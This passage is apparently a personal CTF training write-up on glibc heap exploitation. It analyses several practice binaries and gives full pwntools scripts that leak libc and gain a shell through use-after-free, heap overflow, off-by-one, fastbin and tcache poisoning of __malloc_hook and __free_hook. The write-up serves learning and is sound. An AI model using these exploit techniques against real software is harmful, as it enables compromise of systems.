0xffff))) print('Address of system: {}'.format(hex(address_to_write_system & 0xffff))) print('binsh is at {}'.format(hex(binsh))) print('system is at {}'.format(hex(system))) print('Write binsh') write_to(address_to_write_binsh, binsh, payload1) print('Write system') write_to(address_to_write_system, system, payload1) write_to(address_to_write_binsh - 8, POP_RDI + libc.address, payload1) write_to(address_to_write_binsh - 16, RET + libc.address, payload1, 1) #address_to_write_binsh = leak - 248 #address_to_write_system = address_to_write_binsh + 8 #print('Address of binsh: {}'.format(hex(address_to_write_binsh & 0xffff))) #print('Address of system: {}'.format(hex(address_to_write_system & 0xffff))) #print('binsh is at {}'.format(hex(binsh))) #print('system is at {}'.format(hex(system))) #print('Write binsh') #write_to(address_to_write_binsh, binsh, payload1) #print('Write system') #write_to(address_to_write_system, system, payload1) #write_to(address_to_write_binsh - 8, POP_RDI + libc.address, payload1) #POP_RDI = POP_RDI + libc.address #POP_RDI = POP_RDI & 0xffff #payload2 = b'yes%%' #payload2 += str(POP_RDI - 3).encode() #payload2 += b'd%%40$$hn' #print(payload2) #p.sendline(payload2) p.sendline(b'no') # ret to system p.interactive() ``` # Heap1 The program just prompts a menu ![](https://hackmd.io/_uploads/rkpU6tMOh.png) Decomdpiler i see that main ![](https://hackmd.io/_uploads/Bkn-0KzOn.png) `create_heap` function ![](https://hackmd.io/_uploads/SysHCKfd3.png) It requests a size from user and call `malloc` to store a pointer created by another `malloc` And store the pointer to `ptr` array ``` ptr array -> |pointer1|pointer2|pointer3|... ``` All these pointer is createb by `malloc(0x10)` and these pointers point to return value of `malloc(size)` ``` ptr array -> |pointer1|pointer2|pointer3|... \ \ \ \ \/ \/ \/ \/ mem1 mem2 mem3 ... ``` The `sub_4009E8` function ![](https://hackmd.io/_uploads/ry8Meqfu2.png) It's okay, we can only write the `PREV_SIZE` field but not `PREV_INUSE` bit `delete_heap` function ![](https://hackmd.io/_uploads/SkQtx5fdh.png) It gets an index from user and `free` the pointer at that index in `ptr` array and `free` where it points to And it zeros out the array after `free` So its okay `cat_flag` function ![](https://hackmd.io/_uploads/rJVXZ5fu3.png) It checks if the value at `0x6020F0` is `0`, if is then return `0` Else if check if the value stored at where the `*(0x6020F0) + 8` point to is equal to `11259375` which is `0xabcdef` in hex If equal then calls `sub_400916` function ![](https://hackmd.io/_uploads/ryHhZ9zd2.png) It reads a flag file, so we have to trigger this function, to do that we pass `4` in menu but there're some conditions to be met I see that ![](https://hackmd.io/_uploads/HyAZfczdn.png) The `ptr` is before `0x6020F0` so we can write to it A pointer takes 8 bytes so i need 2 `create_heap` before reach the value But the pointer in array is a pointer to another pointer which we can controll, we can;t directly write to the pointer in array But the function check the `*pointer + 8` and `delete_heap` just zeros out first 8 bytes, so i can craft a free chunk that has `0xabcdef` on that chunks ``` 0 8 ptr_in_array |pointer|.... / / / / \/ 0 8 16 data |padding|0xabcdef| After free 0 8 ptr_in_array |0|... 0 8 16 data |0|0xabcdef|... So i call malloc again the pointer_in_array will point to old data and data points to old ptr_in_array 0 8 16 ptr_in_array |pointer|0xabcdef| / / / / \/ 0 8 data |padding|... ``` And call the `cat_flag` ![](https://hackmd.io/_uploads/S1idE9z_h.png) Successfully read the flag file Running without gdb ![](https://hackmd.io/_uploads/BkwcNqzd2.png) Script ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/heap1/pwn1_ff') p = process() #gdb.attach(p, gdbscript='b *0x4009aa') #not important p.recvuntil(b'>\n') p.sendline(b'1') p.recvuntil(b'Input size:') p.sendline(b'2') p.recvuntil(b'Input data:') p.sendline(b'0') #not important p.recvuntil(b'>\n') p.sendline(b'1') p.recvuntil(b'Input size:') p.sendline(b'24') p.recvuntil(b'Input data:') p.sendline(b'1') #craft a chunk that contains 0xabcdef p.recvuntil(b'>\n') p.sendline(b'1') p.recvuntil(b'Input size:') p.sendline(b'24') p.recvuntil(b'Input data:') p.sendline(p64(0xabcdef)*2) # here we just need the ptr + 8 contains 0xabcdef and the first 8 bytes is not important #free p.recvuntil(b'>\n') p.sendline(b'2') p.recvuntil(b'Input index:') p.sendline(b'2') #malloc with the same size and we get back the old chunk p.recvuntil(b'>\n') p.sendline(b'1') p.recvuntil(b'Input size:') p.sendline(b'24') p.recvuntil(b'Input data:') p.sendline(b'1') p.interactive() ``` # Heap2 The program prompts a menu for a heap challenge ![](https://hackmd.io/_uploads/BJQpkVrun.png) The first choice first get an index from user then size of data ![](https://hackmd.io/_uploads/S1Y-eNB_n.png) `shop heap` choice get an index from user then print the corresponding value ![](https://hackmd.io/_uploads/BJDIgVBuh.png) `edit heap` change the content of a chunk ![](https://hackmd.io/_uploads/By6x-4rOn.png) `delete` may remove the content of a chunk and `exit` ends the program Decompile the program ![](https://hackmd.io/_uploads/HJlBZVSO3.png) `main` is just a endless loop of menu `createHeap` ![](https://hackmd.io/_uploads/Sy9_ZNSd3.png) So it checks the index from user if it's `<= 10` and the `size <= 0x1000` to continue It calls `malloc` to allocate for the data and stores the data and size in 2 array `readStr` function is okay, there's no overflow here ![](https://hackmd.io/_uploads/HJAkMVS_n.png) `showHeap` looks okay ![](https://hackmd.io/_uploads/BJXfG4ru2.png) `editHeap` just changes the content of a chunk ![](https://hackmd.io/_uploads/B18NfNBu2.png) `deleteHeap` ![](https://hackmd.io/_uploads/B1xPf4BOh.png) The bus's here, the function does not clear the array, the value of chunk's still on the array so we can change it with `editHeap` It's `use-after-free` vulnerability Now to the exploit ## Leak the libc First i try to leak the libc, to do that i use unsorted bin, the first chunk in unsorted bin point to an arena struct which is on the libc virtual address To do this i allocate 2 chunks then free the first chunk, the second chunk to make sure that the first chunk doesn't merge with top chunk ![](https://hackmd.io/_uploads/SyRnmEB_n.png) ![](https://hackmd.io/_uploads/H1h6QEHd2.png) We can use `showHeap` to leak that ```python= create_heap(0, 200, b'A') create_heap(1, 200, b'A') # this to make sure the previous chunk doesn't merge with top chunk delete_heap(0) ``` ![](https://hackmd.io/_uploads/SJWrVNHd3.png) ```python= libc.address = leak - 3783544 ``` ![](https://hackmd.io/_uploads/B1IrVEru2.png) ![](https://hackmd.io/_uploads/SkzIVVBu3.png) ## Fastbin attack The chunks in fastbin have `fd` and `bk` pointer, it's a doubly linked list, when remove a chunk from fastbin, the next chunk in fastbin is the `fd` pointer of the removed chunk ![](https://hackmd.io/_uploads/rJzMSNSu2.png) We can change the content of chunk so we can fake the `fd` pointer, so the next time `malloc` will return the address we want But there's a size check, our fake chunk must have the size in fastbin size And `__malloc_hook` is a good address, because before it, there's already a okay size field ![](https://hackmd.io/_uploads/B1x7IESOh.png) The fastbin check doesn't need the `ox10` align so we can write the `__malloc_hook - 35` to that First i allocate some chunks then free them ```python= for i in range(10): create_heap(i, 0x70 - 0x10, b'AAAA') for i in range(10): delete_heap(i) ``` Write the `__malloc_hook - 35` ```python= edit_heap(9, p64(libc.symbols['__malloc_hook'] - 35)) ``` I write the last chunk because the fastbin uses LIFO method Check with gdb ![](https://hackmd.io/_uploads/By9cD4Hd2.png) So i wrote the address to `fd` pointer Continue and try to write to it and the program runs okay ![](https://hackmd.io/_uploads/SJy-_ESO3.png) ## One_gadget Now we can write to `__malloc_hook` , the idea is using one_gadget ![](https://hackmd.io/_uploads/SklLOES_n.png) Checking some condition with gdb i see that i can use `0xd95f1` gadget Write it to `__malloc_hook` ```python= print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook']))) edit_heap(9, p64(libc.symbols['__malloc_hook'] - 35)) pause() create_heap(0, 0x60, b'AAAA') # remove the first chunk create_heap(1, 0x60, b'A'*19 + p64(ONE_GADGET + libc.address)) # malloc_hook ``` ![](https://hackmd.io/_uploads/r1p3_VHuh.png) So now i have one_gadget at `__malloc_hook` Continue ![](https://hackmd.io/_uploads/HkRktEB_n.png) Running without gdb ![](https://hackmd.io/_uploads/S12etVSun.png) Full script ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/heap2/pwn2_df') libc = elf.libc p = process() gdb.attach(p) ONE_GADGET = 0xd95f1 #def safe_linking(address, value): # return (value ^ (address >> 12)) def create_heap(index, size, data): p.recvuntil(b'>\n') p.sendline(b'1') p.recvuntil(b'Index:') p.sendline(str(index).encode()) p.recvuntil(b'Input size:') p.sendline(str(size).encode()) p.recvuntil(b'Input data:') p.sendline(data) def delete_heap(index): p.recvuntil(b'>\n') p.sendline(b'4') p.recvuntil(b'Input index:') p.sendline(str(index).encode()) def show_heap(index): p.recvuntil(b'>\n') p.sendline(b'2') p.recvuntil(b'Index:') p.sendline(str(index).encode()) def edit_heap(index, data): p.recvuntil(b'>\n') p.sendline(b'3') p.recvuntil(b'Input index:') p.sendline(str(index).encode()) print('A') # this line separates 2 read in program p.sendline(data) #leak the heap #create_heap(0, 20, b'AAAAAAAA') #delete_heap(0) #show_heap(0) #p.recvuntil(b'Data = ') #leak = p.recvline()[:-1] #leak = leak[::-1] #leak = int(leak.hex(), 16) #leak = leak << 12 #heap = leak #print('Heap: {}'.format(hex(heap))) # leak libc create_heap(0, 200, b'A') create_heap(1, 200, b'A') # this to make sure the previous chunk doesn't merge with top chunk delete_heap(0) show_heap(0) p.recvuntil(b'Data = ') leak = p.recvline()[:-1] leak = leak[::-1] leak = int(leak.hex(), 16) print('leak: {}'.format(hex(leak))) libc.address = leak - 3783544 print('libc: {}'.format(hex(libc.address))) delete_heap(1) # just remove the other chunk, not important #fastbin attack for i in range(10): create_heap(i, 0x70 - 0x10, b'AAAA') for i in range(10): delete_heap(i) #write the malloc hook print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook']))) edit_heap(9, p64(libc.symbols['__malloc_hook'] - 35)) pause() create_heap(0, 0x60, b'AAAA') # remove the first chunk create_heap(1, 0x60, b'A'*19 + p64(ONE_GADGET + libc.address)) # malloc_hook #trigger a shell p.recvuntil(b'>\n') p.sendline(b'1') p.recvuntil(b'Index:') p.sendline(b'1') p.recvuntil(b'Input size:') p.sendline(b'20') p.interactive() ``` # Heap4 Basically the program is kinda like heap2 ![](https://hackmd.io/_uploads/Bkhi0ardn.png) But the choices work different ![](https://hackmd.io/_uploads/HJb110H_n.png) The `main` function is simple `createHeap` function ![](https://hackmd.io/_uploads/SytbyCBO3.png) The difference from heap2 is that, it checks if the index is used, if is then the function returns `0`, and it uses `calloc` to allocate, `calloc` will zero out memory of chunk `showHeap` function ![](https://hackmd.io/_uploads/By1qkABd2.png) It's normal `editHeap` function ![](https://hackmd.io/_uploads/BkTiyAH_h.png) The bug's here, at `newsize`, it doesn't check bound so we can pass a bigger length to overflow the chunk `deleteHeap` function ![](https://hackmd.io/_uploads/rywMxArO2.png) This time it zeros out the array, so no UAF here So now to the exploit using heap overflow ## leak the libc Here i use unsorted bin to leak the libc The idea is first allocating some chunks and the 2 last one having the length to be passed to unsorted bin when freed, last chunk is used to make sure the previous chunk doesn't merge with top chunk And i overflow the first chunk with printable data to before the freed chunk Before free ![](https://hackmd.io/_uploads/B13LWRHu3.png) Overflow data ![](https://hackmd.io/_uploads/r1xuZ0rO3.png) So now if i print the first chunk i get the libc And after that i have to rebuild the heap ```python= create_heap(1, 0x100 - 0x10, b'A') #use another size to not reuse the freed chunks before create_heap(2, 0x20, b'A') #this chunk to make sure the previous chunk doesn't merge with top chunk delete_heap(1) edit_heap(0, 6*16, b'A'*96) show_heap(0) p.recvuntil(b'Data = ') p.recv(96) leak = p.recvline()[:-1] leak = leak[::-1] leak = int(leak.hex(), 16) libc.address = leak - 3783544 print('libc leak: {}'.format(hex(leak))) print('libc: {}'.format(hex(libc.address))) #restore the heap, reuse the previous payload to restore payload += p64(heap + 0x20) # fd pointer of freed chunk payload += p64(0) payload += p64(0) # prev_size field of chunk in unsorted bin payload += p64(0x101) # size field edit_heap(0,96, payload) ``` ## write to malloc_hook Here i write `__malloc_hook - 35` like before Create 2 chunks then free the second one Overflow fisrt chunk to write to `fd` pointer of second chunk ```python= print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook']))) create_heap(3, 0x70 - 0x10, b'A') create_heap(4, 0x70 - 0x10, b'B') delete_heap(4) edit_heap(3, 0x78, p64(0)*13 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 35)) # fake the fd pointer ``` Attach with gdb ![](https://hackmd.io/_uploads/Syy9GASOn.png) So i have `__malloc_hook` in `fd` pointer ## one_gadget Here, again i still use `one_gadget` ![](https://hackmd.io/_uploads/Bkz3MCSd3.png) This time i use `0xd5bf7` gadget ![](https://hackmd.io/_uploads/BkW1QCHuh.png) It successes ![](https://hackmd.io/_uploads/HyQxQArd2.png) Script (the leak heap is not for the exploit, first time i tried another way to exploit but it didn't work but i'm lazy to delete that part because i have to recalculate some offsets and recode the leak libc :v) ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/heap4/pwn4_ul') libc = elf.libc p = process() #gdb.attach(p) ONE_GADGET = 0xd5bf7 def create_heap(index, size, data): p.recvuntil(b'>\n') p.sendline(b'1') p.recvuntil(b'Index:') p.sendline(str(index).encode()) p.recvuntil(b'Input size:') p.sendline(str(size).encode()) p.recvuntil(b'Input data:') p.sendline(data) def show_heap(index): p.recvuntil(b'>\n') p.sendline(b'2') p.recvuntil(b'Index:') p.sendline(str(index).encode()) def edit_heap(index, new_size, data): p.recvuntil(b'>\n') p.sendline(b'3') p.recvuntil(b'Input index:') p.sendline(str(index).encode()) p.recvuntil(b'Input newsize:') p.sendline(str(new_size).encode()) p.recvuntil(b'Do you want to change data (y/n)?\n') p.sendline(b'y') p.recvuntil(b'Input data:') p.sendline(data) def delete_heap(index): p.recvuntil(b'>\n') p.sendline(b'4') p.recvuntil(b'Input index:') p.sendline(str(index).encode()) #leak heap, this's not used for exploit, im too lazy to delete this adn recode the leak libc create_heap(0, 20, b'A') #not used create_heap(1, 20, b'A') #not used create_heap(2, 20, b'A') #not used delete_heap(1) #not used delete_heap(2) #not used edit_heap(0, 64, b'A'*64) #not used show_heap(0) #not used p.recvuntil(b'Data = ') #not used p.recv(64) #not used leak = p.recvline()[:-1] #not used leak = leak[::-1] # not used leak = int(leak.hex(), 16) #not used print('heap leak: {}'.format(hex(leak))) #not used heap = leak - 0x20 #not used print('heap: {}'.format(hex(heap))) #not used # restore the heap payload = b'A'*16 #first chunk data payload += p64(0) #prev_size field of second chunk payload += p64(0x21) #size field payload += p64(0)*2 #data of second chunk payload += p64(0) #prev_size of third chunk payload += p64(0x21) #size field of third chunk edit_heap(0, 60, payload) #===================================================== # EXPLOIT STARTS HERE #===================================================== #leak the libc create_heap(1, 0x100 - 0x10, b'A') #use another size to not reuse the freed chunks before create_heap(2, 0x20, b'A') #this chunk to make sure the previous chunk doesn't merge with top chunk delete_heap(1) edit_heap(0, 6*16, b'A'*96) show_heap(0) p.recvuntil(b'Data = ') p.recv(96) leak = p.recvline()[:-1] leak = leak[::-1] leak = int(leak.hex(), 16) libc.address = leak - 3783544 print('libc leak: {}'.format(hex(leak))) print('libc: {}'.format(hex(libc.address))) #restore the heap, reuse the previous payload to restore payload += p64(heap + 0x20) # fd pointer of freed chunk payload += p64(0) payload += p64(0) # prev_size field of chunk in unsorted bin payload += p64(0x101) # size field edit_heap(0,96, payload) # write the malloc hook print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook']))) create_heap(3, 0x70 - 0x10, b'A') create_heap(4, 0x70 - 0x10, b'B') delete_heap(4) edit_heap(3, 0x78, p64(0)*13 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 35)) # fake the fd pointer create_heap(5, 0x70 - 0x10, b'A') # remove the first chunk in fastbin create_heap(6, 0x70 - 0x10, b'A'*19 + p64(ONE_GADGET + libc.address)) # write to malloc_hook #trigger calloc p.recvuntil(b'>\n') p.sendline(b'1') p.recvuntil(b'Index:') p.sendline(b'7') p.recvuntil(b'Input size:') p.sendline(b'20') p.interactive() ``` # Heap5 This challenge is also a heap challenge, it prompts a menu ![](https://hackmd.io/_uploads/SkclRk_On.png) But the behind of these choice is difference ![](https://hackmd.io/_uploads/ByS7Rk_d2.png) `main` function is normal `createHeap` function ![](https://hackmd.io/_uploads/SkWrR1d_n.png) It checks a few conditions and call `calloc` It reads data using `readSTr` functions ![](https://hackmd.io/_uploads/SkxycCkOOh.png) It reads `a2` bytes which is our `size` and put a NULL byte at after the input, this leads to `off-by-one` vulnerability `showHeap` function ![](https://hackmd.io/_uploads/HJDg1edu3.png) It's okay `editHeap` function ![](https://hackmd.io/_uploads/SyzGygO_3.png) This function require a `newsize` and if it's larger than the `size` stored in `storeSize` then the program `free` the chunk at `store[Int]` then calls `malloc` with argument is `newsize`. Notice that this function doesn't check if the `newsize < 0x1000` `deleteHeap` function ![](https://hackmd.io/_uploads/ryhA1luOn.png) So it clears the array after free so no `UAF` here Now to the exploit ## Leak the libc Here we exploit the `off-by-one` in `readSTr` function To leak the libc i use a chunk in unsorted bin First i allocate 4 chunks ```python= create_heap(0, 0x100 - 0x10, b'A') create_heap(1, 24, b'A') # this chunk to overflow the prevsize and previnuse bit of next chunk create_heap(2, 0x100 - 0x10, b'A') create_heap(3, 20, b'A') #this ta make sure the previous chunk doesn't merge with top chunk delete_heap(0) #free first chunk to get libc leak ``` So now the chunks will look like ![](https://hackmd.io/_uploads/r1kAMlO_2.png) The idea is overflow the metadata of chunk `2` at `0x5568f702f120` using `editHeap` at chunk `1` Change the `prev_size` field of chunk `2` into size of chunk 0 + size of chunk 1 equal `0x120` and flip the `prev_inuse` bit of chunk 2, so when free chunk `2` it will check if `prev_inuse` bit, if `0` then it merge with previous chunk calculated using `prev_size`. So our new freed chunk will be at chunk `0` but with the size is size of chunk 0 + chunk 1 + chunk 2 = `0x220` ```python= payload = p64(0)*2 # data of chunk payload += p64(0x120) # prev_size field edit_heap(1, 24, payload) delete_heap(2) #overlap the 1 index chunk ``` ![](https://hackmd.io/_uploads/BJVIEguOh.png) So now i fake the metadata of chunk `2` Free it then i see ![](https://hackmd.io/_uploads/HyQFNgdOh.png) A freed chunk having `0x220` size at chunk `0`, so chunk `1` is overlapped Next, i allocate a chunk with the same size as chunk `0` so the freed chunk will split into 2, so the next freed chunk will be at `chunk 0 + 0x100` which is chunk `1` So it's the same as `UAF` now ```python= create_heap(2,0x100 - 0x10, b'AAAA') # now 1 index chunk have the leak libc in fd oointer ``` ![](https://hackmd.io/_uploads/B1GBBg_Oh.png) So the libc leak is now on the chunk `1`, we can use `showHeap` to read it ## Fastbin attack So now we can allocate a chunk with the size that it will be put at fastbin when freed and because the the `calloc` will reuse the chunk at unsorted bin so the return address is chunk `1` which we can control The idea is craft the `fd` pointer to point at near `__malloc_hook` then use one_gadget ```python= create_heap(4, 0x60, b'A') # this malloc will return the address the same as 1 index delete_heap(4) #now this will be moved to fastbin edit_heap(1, 20, p64(libc.symbols['__malloc_hook'] - 35)) create_heap(5, 0x60, b'A') #remove the first chunk of fastbin ``` ![](https://hackmd.io/_uploads/rJ4U8l_u2.png) So now i have one_gadget at `__malloc_hook`, but a problem is raised I can't meet the contraints of one_gadget I tried setting `__malloc_hook` to `system` and passing address of `/bin/sh` in `newsize` in `editHeap` function because there's no condition on that but the `newsize` is 4 bytes type so it didn't work But then after searching some way to trigger the hook, i found that i can trigger `realloc` in `__malloc_hook` and craft the `__realloc_hook` because it's right before `__malloc_hook` ![](https://hackmd.io/_uploads/B1ZODeOu2.png) ## realloc hook Writting the address of `realloc` doesn't meet the constraints but i have to redirect at before `realloc` check the `__realloc_hook` at `realloc + 14` ![](https://hackmd.io/_uploads/S1sM_lu_2.png) Now it works ![](https://hackmd.io/_uploads/S11Hdludh.png) ![](https://hackmd.io/_uploads/ry8S_euO2.png) Script ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/heap5/pwn5_null') libc = elf.libc p = process() #gdb.attach(p) ONE_GADGET = 0x3f42a def create_heap(index, size, data): p.recvuntil(b'>\n') p.sendline(b'1') p.recvuntil(b'Index:') p.sendline(str(index).encode()) p.recvuntil(b'Input size:') p.sendline(str(size).encode()) p.recvuntil(b'Input data:') p.sendline(data) def show_heap(index): p.recvuntil(b'>\n') p.sendline(b'2') p.recvuntil(b'Index:') p.sendline(str(index).encode()) def edit_heap(index, newsize, data): p.recvuntil(b'>\n') p.sendline(b'3') p.recvuntil(b'Input index:') p.sendline(str(index).encode()) p.recvuntil(b'Input newsize:') p.sendline(str(newsize).encode()) p.recvuntil(b'Do you want to change data (y/n)?\n') p.sendline(b'y') p.recvuntil(b'Input data:') p.sendline(data) def delete_heap(index): p.recvuntil(b'>\n') p.sendline(b'4') p.recvuntil(b'Input index:') p.sendline(str(index).encode()) #leak the libc create_heap(0, 0x100 - 0x10, b'A') create_heap(1, 24, b'A') # this chunk to overflow the prevsize and previnuse bit of next chunk create_heap(2, 0x100 - 0x10, b'A') create_heap(3, 20, b'A') #this ta make sure the previous chunk doesn't merge with top chunk delete_heap(0) #free first chunk to get libc leak pause() payload = p64(0)*2 # data of chunk payload += p64(0x120) # prev_size field edit_heap(1, 24, payload) delete_heap(2) #overlap the 1 index chunk create_heap(2,0x100 - 0x10, b'AAAA') # now 1 index chunk have the leak libc in fd oointer show_heap(1) p.recvuntil(b'Data = ') leak_libc = p.recvline()[:-1] leak_libc = leak_libc[::-1] leak_libc = int(leak_libc.hex(), 16) libc.address = leak_libc - 3783544 print('leak libc: {}'.format(hex(leak_libc))) print('libc: {}'.format(hex(libc.address))) #write malloc_hook print('__malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook']))) print('__free_hook: {}'.format(hex(libc.symbols['__free_hook']))) print('__realloc_hook: {}'.format(hex(libc.symbols['__realloc_hook']))) create_heap(4, 0x60, b'A') # this malloc will return the address the same as 1 index delete_heap(4) #now this will be moved to fastbin edit_heap(1, 20, p64(libc.symbols['__malloc_hook'] - 35)) create_heap(5, 0x60, b'A') #remove the first chunk of fastbin create_heap(6, 0x60, b'A'*11 +p64(ONE_GADGET + libc.address) + p64(libc.symbols['realloc'] + 14)) p.recvuntil(b'>\n') p.sendline(b'3') p.recvuntil(b'Input index:') p.sendline(b'1') p.recvuntil(b'Input newsize:') p.sendline(b'1000') p.interactive() ``` # Heap6 This is also a heap challenge ![](https://hackmd.io/_uploads/SyIF_kj_n.png) Decompiler with ida `main` function ![](https://hackmd.io/_uploads/r12id1ou2.png) Just a menu `createHeap` function ![](https://hackmd.io/_uploads/rkC2OJou3.png) It checks the index so the maxium size in array is `10`, it calls `malloc` with a fixed size `0x80` The `readStr` function ![](https://hackmd.io/_uploads/rkXWFJsOh.png) There's no overflow here so it's okay `showHeap` function ![](https://hackmd.io/_uploads/B1FfFJod2.png) It just prints the value in heap and no format string here `editHeap` function ![](https://hackmd.io/_uploads/BJeKNYyjuh.png) It checks if the element of array is `NULL`, if not we can write to it `deleteHeap` function ![](https://hackmd.io/_uploads/B1YDFJs_2.png) The function just call `free` but not clear the element in array, so it's `UAF` bug This program uses `libc.2.28`, it uses tcache mechanism I allocate `3` chunks and delete the first `2` chunks ![](https://hackmd.io/_uploads/Skygqksuh.png) As you can see it stores the freed chunks in tcache bin Tcache bin is a linked list, the `fd` pointer of a freed chunk points to the `fd` field of next chunk in tcache bin which is user data ![](https://hackmd.io/_uploads/BJfrjyi_2.png) ![](https://hackmd.io/_uploads/SksBoJsu3.png) And due to `UAF` bug we can fake that linked list pointing to where we want. There's no checking of `fd` pointer in `libc.2.28` and `__malloc_hook` and `__free_hook` are still available So the exploit is faking the linked list pointing to `__free_hook`, writing `system` address to that and trigger `system('/bin/sh')` by freeing chunk contain `/bin/sh` ## leak the libc To leak the libc, i use unsorted bin The max size of tcache bin is `7` >\# define TCACHE_FILL_COUNT 7 So i allocate `9` chunks, `7` chunks for filling tcache bin, `1` chunk for leaking libc, `1` chunk for not merging with top chunk ```python= for i in range(9): create_heap(i, b'A') for i in range(8): delete_heap(i) ``` ![](https://hackmd.io/_uploads/B1uC31jOn.png) ![](https://hackmd.io/_uploads/rk1WTksdh.png) Now print it ![](https://hackmd.io/_uploads/Sk-G6Jidh.png) ## write __free_hook Since there's no checking in tcache,, i write the address of `__free_hook` directly to tcache bin ```python= edit_heap(6, p64(libc.symbols['__free_hook'])) # write the fd of the top chunk in tcache bin create_heap(0, b'AAAA') # remove the top chunk of tcache bin create_heap(1, p64(libc.symbols['system'])) # write to free hook address of system ``` ![](https://hackmd.io/_uploads/HyaYaJiO2.png) Now i have `__free_hook` in tcache bin Trying write to it ![](https://hackmd.io/_uploads/rJFsT1sO3.png) ![](https://hackmd.io/_uploads/HJy3aki_3.png) It works Writing `system` to `__free_hook` ![](https://hackmd.io/_uploads/rynxRJsdh.png) To trigger `system(/bin/sh)` i need to allocate a chunk that contain `/bin/sh` then free it ![](https://hackmd.io/_uploads/ry2-Cyou3.png) ![](https://hackmd.io/_uploads/SyoMCyoOn.png) Full script ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/heap6/pwn6_hoo') libc = elf.libc p = process() #gdb.attach(p) def create_heap(index, data): p.recvuntil(b'>\n') p.sendline(b'1') p.recvuntil(b'Index:') p.sendline(str(index).encode()) p.recvuntil(b'Input data:') p.sendline(data) def show_heap(index): p.recvuntil(b'>\n') p.sendline(b'2') p.recvuntil(b'Index:') p.sendline(str(index).encode()) def edit_heap(index, data): p.recvuntil(b'>\n') p.sendline(b'3') p.recvuntil(b'Input index:') p.sendline(str(index).encode()) print('This print is for seperating 2 read') p.sendline(data) def delete_heap(index): p.recvuntil(b'>\n') p.sendline(b'4') p.recvuntil(b'Input index:') p.sendline(str(index).encode()) for i in range(9): create_heap(i, b'A') for i in range(8): delete_heap(i) #leak the libc show_heap(7) #show the libc p.recvuntil(b'Data = ') leak = p.recvline()[:-1] leak = leak[::-1] leak = int(leak.hex(), 16) libc.address = leak - 3878048 print('leak: {}'.format(hex(leak))) print('libc: {}'.format(hex(libc.address))) #write free hook print('__free_hook: {}'.format(hex(libc.symbols['__free_hook']))) edit_heap(6, p64(libc.symbols['__free_hook'])) # write the fd of the top chunk in tcache bin create_heap(0, b'AAAA') # remove the top chunk of tcache bin create_heap(1, p64(libc.symbols['system'])) # write to free hook address of system #trigger system create_heap(2, b'/bin/sh\x00') # parameter for system delete_heap(2) # get a shell p.interactive() ``` # Heap3 The program is like a trading system ![](https://hackmd.io/_uploads/HJp1alQtn.png) ![](https://hackmd.io/_uploads/H1hfTg7Yn.png) Decompiler the program After renaming some variables `main` function ```cpp= void __fastcall main(__int64 a1, char **a2, char **a3) { int v3; // eax int v4; // [rsp+Ch] [rbp-24h] const char **user; // [rsp+18h] [rbp-18h] char buf[8]; // [rsp+20h] [rbp-10h] BYREF unsigned __int64 v7; // [rsp+28h] [rbp-8h] v7 = __readfsqword(0x28u); sub_4009B6(); sub_400AA4(); v4 = 0; user = 0LL; while ( 1 ) { puts("------------------------------------------------"); puts(" 1: register user"); puts(" 2: login user"); puts(" 3: exit"); puts("------------------------------------------------"); puts("which command?"); printf("> "); read(0, buf, 4uLL); v3 = atoi(buf); switch ( v3 ) { case 2: user = (const char **)login(); if ( user ) { printf("[+] Welcome to EasyCoin, %s\n\n", *user); v4 = 1; } break; case 3: exit(0); case 1: register(); break; default: puts("[-] Invalid command!"); break; } while ( v4 ) { puts("------------------------------------------------"); puts(" 1: display user info"); puts(" 2: send coin"); puts(" 3: display transaction"); puts(" 4: change password"); puts(" 5: delete this user"); puts(" 6: logout"); puts("------------------------------------------------"); puts("which command?"); printf("> "); read(0, buf, 4uLL); switch ( buf[0] ) { case '1': display_user(user); break; case '2': send_coin(user); break; case '3': display_transaction(user); break; case '4': change_password(user); break; case '5': delete_user(user); v4 = 0; break; case '6': v4 = 0; break; default: printf("[-] Unknown Command: "); printf(buf); break; } } } } ``` So there're 2 switch cases, first is before user signs in `register` function ```cpp= __int64 signup() { void **user; // rbx __int64 v2; // rbx int index; // [rsp+4h] [rbp-4Ch] int i; // [rsp+8h] [rbp-48h] int j; // [rsp+Ch] [rbp-44h] char user_name[40]; // [rsp+10h] [rbp-40h] BYREF unsigned __int64 v7; // [rsp+38h] [rbp-18h] v7 = __readfsqword(0x28u); index = -1; printf("Please input username\n> "); read_(user_name, 31); for ( i = 0; i <= 4; ++i ) { if ( *(&array + i) && !strcmp(*(const char **)*(&array + i), user_name) ) { puts("[-] This user already registerd"); return 1LL; } } for ( j = 0; j <= 4; ++j ) { if ( !*(&array + j) ) { index = j; break; } } if ( index == -1 ) { puts("[-] User Registration is over"); exit(0); } *(&array + index) = malloc(0x20uLL); user = (void **)*(&array + index); *user = malloc(0x20uLL); v2 = (__int64)*(&array + index); *(_QWORD *)(v2 + 8) = malloc(0x20uLL); *((_QWORD *)*(&array + index) + 2) = 1000000000LL; *((_QWORD *)*(&array + index) + 3) = 0LL; strncpy(*(char **)*(&array + index), user_name, 0x1FuLL); printf("Please input password\n> "); read_(*((char **)*(&array + index) + 1), 31); printf("Verify input password\n> "); read_(user_name, 31); if ( !strcmp(*((const char **)*(&array + index) + 1), user_name) ) { puts("[+] Registration success"); } else { puts("[-] Password confirmation failed"); free(*(void **)*(&array + index)); free(*((void **)*(&array + index) + 1)); free(*(&array + index)); *(&array + index) = 0LL; } return 0LL; } ``` The function gets `username` and `password` from user and calls `malloc` 3 times with `0x20` size And the struct of user stored in `array` is like ``` pointer(stored in array) |pointer to user name|pointer to password|1000000000|0| ``` So i have `pointer[0]` points to `username` `pointer[1]` points to `password` `pointer[2]` contains `1000000000000`, the number of coins user has `pointer[3]` points to transaction(will be introduced later), initialized as `0` `login` function ```cpp= __int64 login() { int i; // [rsp+4h] [rbp-3Ch] char s2[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v3; // [rsp+38h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Please input username\n> "); read_(s2, 31); for ( i = 0; ; ++i 